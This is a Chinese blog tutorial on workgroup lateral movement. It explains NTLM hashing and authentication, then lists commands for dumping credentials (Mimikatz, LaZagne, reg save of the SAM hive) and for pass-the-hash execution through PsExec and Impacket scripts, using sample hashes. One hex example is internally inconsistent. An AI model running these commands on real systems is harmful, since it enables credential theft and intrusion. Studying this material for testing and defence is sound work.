【湃哒星说安全】工作组环境中进行内网渗透常见方法总结
0x01 工作组定义
工作组是一组计算机的集合,工作组中的计算机没有中央身份验证在网络中的地位平等,工作组中的每台计算机都充当客户端和服务器,每台机器的账号密码只是保存在自己的SAM文件中,当工作组中的用户想要访问其他用户的计算机甚至是共享资源时,他们需要在其他用户的计算机上创建其用户名和密码。
0x02 NetBIOS
网络基本输入/输出系统 (Network Basic Input/Output System, NetBIOS) 是一种标准的应用程序编程接口,NetBIOS名称解析就是NetBIOS名称映射到IP地址的过程。
nbtstat
Command: nbtstat -A 192.168.3.133
nbtscan
Windows版本
Linux版本
0x03 NT Lan Manager
NT Lan Manager的协议实现有Net-NTLMv1和Net-NTLMv2两个版本,两者响应值计算均使用了NT Hash。NTLM Hash 通常是指Windows系统下Security Account Manager数据库中保存的用户密码的Hash 值,Windows 本身不保存明文密码,只保留密码的Hash,攻击者利用获取到的NTLM Hash可进行PTH攻击。
NTLM Hash 生成原理
假设明文口令是"admin123!@#",首先将其进行十六进制转换,结果为"77696C736F6E"。
#admin123!@# -> hex = 61646d696e313233214023将其转换成Unicode字符串,结果为
"610064006d0069006e00310032003300210040002300"。
#61646d696e313233214023-> Unicode = 610064006d0069006e00310032003300210040002300
对获取的Unicode字符串
"610064006d0069006e00310032003300210040002300",进行标准MD4单向Hash运算,得到128bit的Hash值。结果为
"8f909fdb472d0b85cddb3e36669a9b07",也就得到了最后的NTLM Hash。
#610064006d0069006e00310032003300210040002300 -> MD4
= 8f909fdb472d0b85cddb3e36669a9b07
NTLM Hash 提取方式
Mimikatz
command:
mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords""
SafetyKatz
LaZagne
command:
lazagne.exe all
Reg
command:
reg save hklm\sam C:\Users\Administrator\Desktop\sam.hive
reg save hklm\system C:\Users\Administrator\Desktop\system.hive
samdump2 system.hive sam.hive > ntlm_hash.txt
cat ntlm_hash.txt
0x04 认证过程
Windows Challenge/Response 认证过程
客户端发送用户名到服务器
客户端对明文口令进行Hash处理获得NTLM Hash
服务器生成一个 16字节的随机数(Challenge)发送给客户端
客户端使用NTLM Hash对Challenge进行加密,加密结果为Response-C,然后将结果发送给服务器
服务器通过用户名检索到相对应的NTLM Hash并对Challenge进行加密得到Response-S。
比较Response-S和从客户端接收到的Response-C,如果一致则认证通过。
0x05 Windows认证过程
一般来说Winlogon服务针对本地计算机上的SAM安全账户数据库来进行Windows凭据验证。通过在登录用户界面上的用户输入等方式收集凭据,本地安全信息如策略设置、账户信息等一般存储在注册表HKEY_LOCAL_MACHINE\SECURITY中,SAM数据库的备份也存在该注册表中。
winlogon.exe是负责管理安全用户交互的可执行文件,Winlogon服务通过将用户在登录桌面上输入的用户名口令信息通过Secur32.dll 传递给LSA服务后来启动Windows操作系统的登录过程。
lsass.exe主要对用户进行身份验证,将用户口令转化为NTLM Hash,同时将凭据信息存储在内存中,用户使用该凭据可访问网络资源等。
LSA凭据产生有如下几种情况:
远程桌面登录
本地登录
使用RunAs运行服务
运行计划任务或批处理
利用远程管理工具在本地计算机运行服务
0x06 Pass The Hash
PASXEC
command:
PsExec.exe \\target_ip -u username -p password cmd
PsExec.exe \\192.168.1.6 -u administrator -p Abcd1234 cmd.exe
WMIEXEC
command:
cscript.exe wmiexec.vbs /cmd domain_name username password cmd
cscript.exe wmiexec.vbs /cmd WIN-78L42RBHLLO administrator admin123!@# "ipconfig"
ATEXEC
command:
python atexec.py administrator:admin123!@#@192.168.3.133 ipconfig
SMBEXEC
command:
python smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8f909fdb472d0b85cddb3e36669a9b07 administrator@192.168.3.133
DCOMEXEC
command:
python dcomexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8f909fdb472d0b85cddb3e36669a9b07 administrator@192.168.3.133
参考文章
https://docs.microsoft.com/en-us/windows-server/security/windows-authentication/credentials-processes-in-windows-authentication
https://github.com/scallywag/nbtscan
https://raw.githubusercontent.com/iiilin/inbtscan/master/inbt.py
http://davenport.sourceforge.net/ntlm.html#theNtlmResponse
http://d1iv3.me/2018/12/08/LM-Hash%E3%80%81NTLM-Hash%E3%80%81Net-NTLMv1%E3%80%81Net-NTLMv2%E8%AF%A6%E8%A7%A3/
https://media.blackhat.com/us-13/US-13-Duckwall-Pass-the-Hash-Slides.pdf
https://docs.microsoft.com/en-us/windows/win32/secauthn/microsoft-ntlm
https://www.secureauth.com/labs/open-source-tools/impacket
【湃哒星说安全】工作组环境中进行内网渗透常见方法总结相关推荐
- 工作组环境中配置WSUS客户端
11.3工作组环境中配置WSUS客户端 由于WSUS的目的是为Windows 客户端提供更新,因此任何Windows操作系统都可以从WSUS服务器下载更新,但是需要通过组策略进行配置.早期版本的Win ...
- 内网渗透(十三)之内网信息收集-收集域环境中的基本信息
系列文章第一章节之基础知识篇 内网渗透(一)之基础知识-内网渗透介绍和概述 内网渗透(二)之基础知识-工作组介绍 内网渗透(三)之基础知识-域环境的介绍和优点 内网渗透(四)之基础知识-搭建域环境 内 ...
- 内网渗透(十五)之内网信息收集-域环境中定位域管理员
系列文章第一章节之基础知识篇 内网渗透(一)之基础知识-内网渗透介绍和概述 内网渗透(二)之基础知识-工作组介绍 内网渗透(三)之基础知识-域环境的介绍和优点 内网渗透(四)之基础知识-搭建域环境 内 ...
- 内网渗透-域环境的搭建
域环境的搭建 文章目录 域环境的搭建 前言 一.什么是域环境 什么是域 内网基础知识点 二.域环境的搭建 1. 部署域结构 2.如何加入域 3.SRV出错及解决办法 4.SRV记录注册不成功的可能原因 ...
- 忆享科技戟星安全实验室|内网渗透神器-Viper的基本使用
戟星安全实验室 忆享科技旗下高端的网络安全攻防服务团队.安服内容包括渗透测试.代码审计.应急响应.漏洞研究.威胁情报.安全运维.攻防演练等 本文约1200字,阅读约需4分钟. 0x00 介绍 vipe ...
- Apache 2.4.7在CentOS6.4中安装配置反向代理解决单外网IP对应多个内网主机的方法实践
欢迎转载,转载时请保留全文及出处. Apache 2.4.7在CentOS6.4中安装配置反向代理解决单外网IP对应多个内网主机的方法实践 Apache安装 下载源程序(http://httpd.ap ...
- vulnstack内网渗透环境靶场-1 大全
一.搭建vulnstack靶场环境 主要以真实企业环境为实例搭建一系列靶场,通过练习另外本次实战完全模拟ATT&CK攻击链路进行搭建,开成完整闭环,下载地址: http://vulnstack ...
- Linux的内网渗透入门教程:第一节 通过arp欺骗进行网关劫持,截获别人手机的图片(VMware环境)
免责声明:本人提供的任何工具.文章和知识,只可研究学习,本人对使用这些工具.文章和知识而导致的一切后果,不承担任何法律责任.请大家文明上网,远离网络非法行为! 一.引言 这是本人第一次写博客,据我一位 ...
- 如何搭建域环境(来自内网安全攻防)
我们通常说的内网渗透测试,很大程度上就是与渗透测试域渗透测试.搭建域渗透测试环境,在Windows的活动目录环境下进行一系列操作,掌握其运行方法和运行机制,便于对内网的安全维护. 在该实验中,我们配置 ...
最新文章
- javafx FlowPane布局
- 【Python】校选课 第四周作业 py3.0
- 1亿人点赞的晚会,如何做技术沉淀?
- Vertx JDBC 批处理
- 勤哲Excel服务器在图书出版企业管理系统中的应用
- 【钉钉机器人 + 爬虫 + celery】定时发送微博热搜 + 定时发布财经新闻
- Python3自然语言处理(5)——预处理
- Anaconda2020安装与使用
- ES安装中文IK分词器
- 用Python做一个抢票脚本,演唱会门票轻松到手!
- 使用VNC连接树莓派4b如何全屏1080p分辨率,一次更改永久有效!
- 华为鸿蒙操作系统入门到精通,官方教程来了!
- swagger2-2.9.2使用过程中遇到的坑:
- java.lang.AbstractMethodError: dm.jdbc.driver.DmdbConnection.isValid(I)Z
- LGT公益创投(中国)基金项目介绍
- UVA - 1198 POJ - 1612 The Geodetic Set Problem (floyd+set+模拟)
- 还在单细胞测序?单核更出色
- LOJ 6436 [PKUSC 2018] 神仙的游戏
- 1010: 求圆的周长和面积(C语言)
- python项目实战——银行取款机系统(六)
热门文章
- 中图分类法----TU 建筑工业
- 左室短轴切面_一文读懂心脏超声基本切面
- 高级筛选条件为系别为计算机或者数学,电子表格中的高级筛选.doc
- 典型的多层神经网络模型,多层变量神经网络分析
- Archlinux双显卡安装NVIDIA闭源驱动
- Android手机调用系统相机拍照、裁剪以及获取Url上传图片
- 如何从从U盘安装windows xp到EeePC的详细流程
- asp mysql 留言本_手把手教你用ASP制作留言本
- JVM新生代Eden和survivor区别
- 学计算机有什么好处和坏处,学习电脑有什么好处和坏处,电脑好处和坏处有哪些?...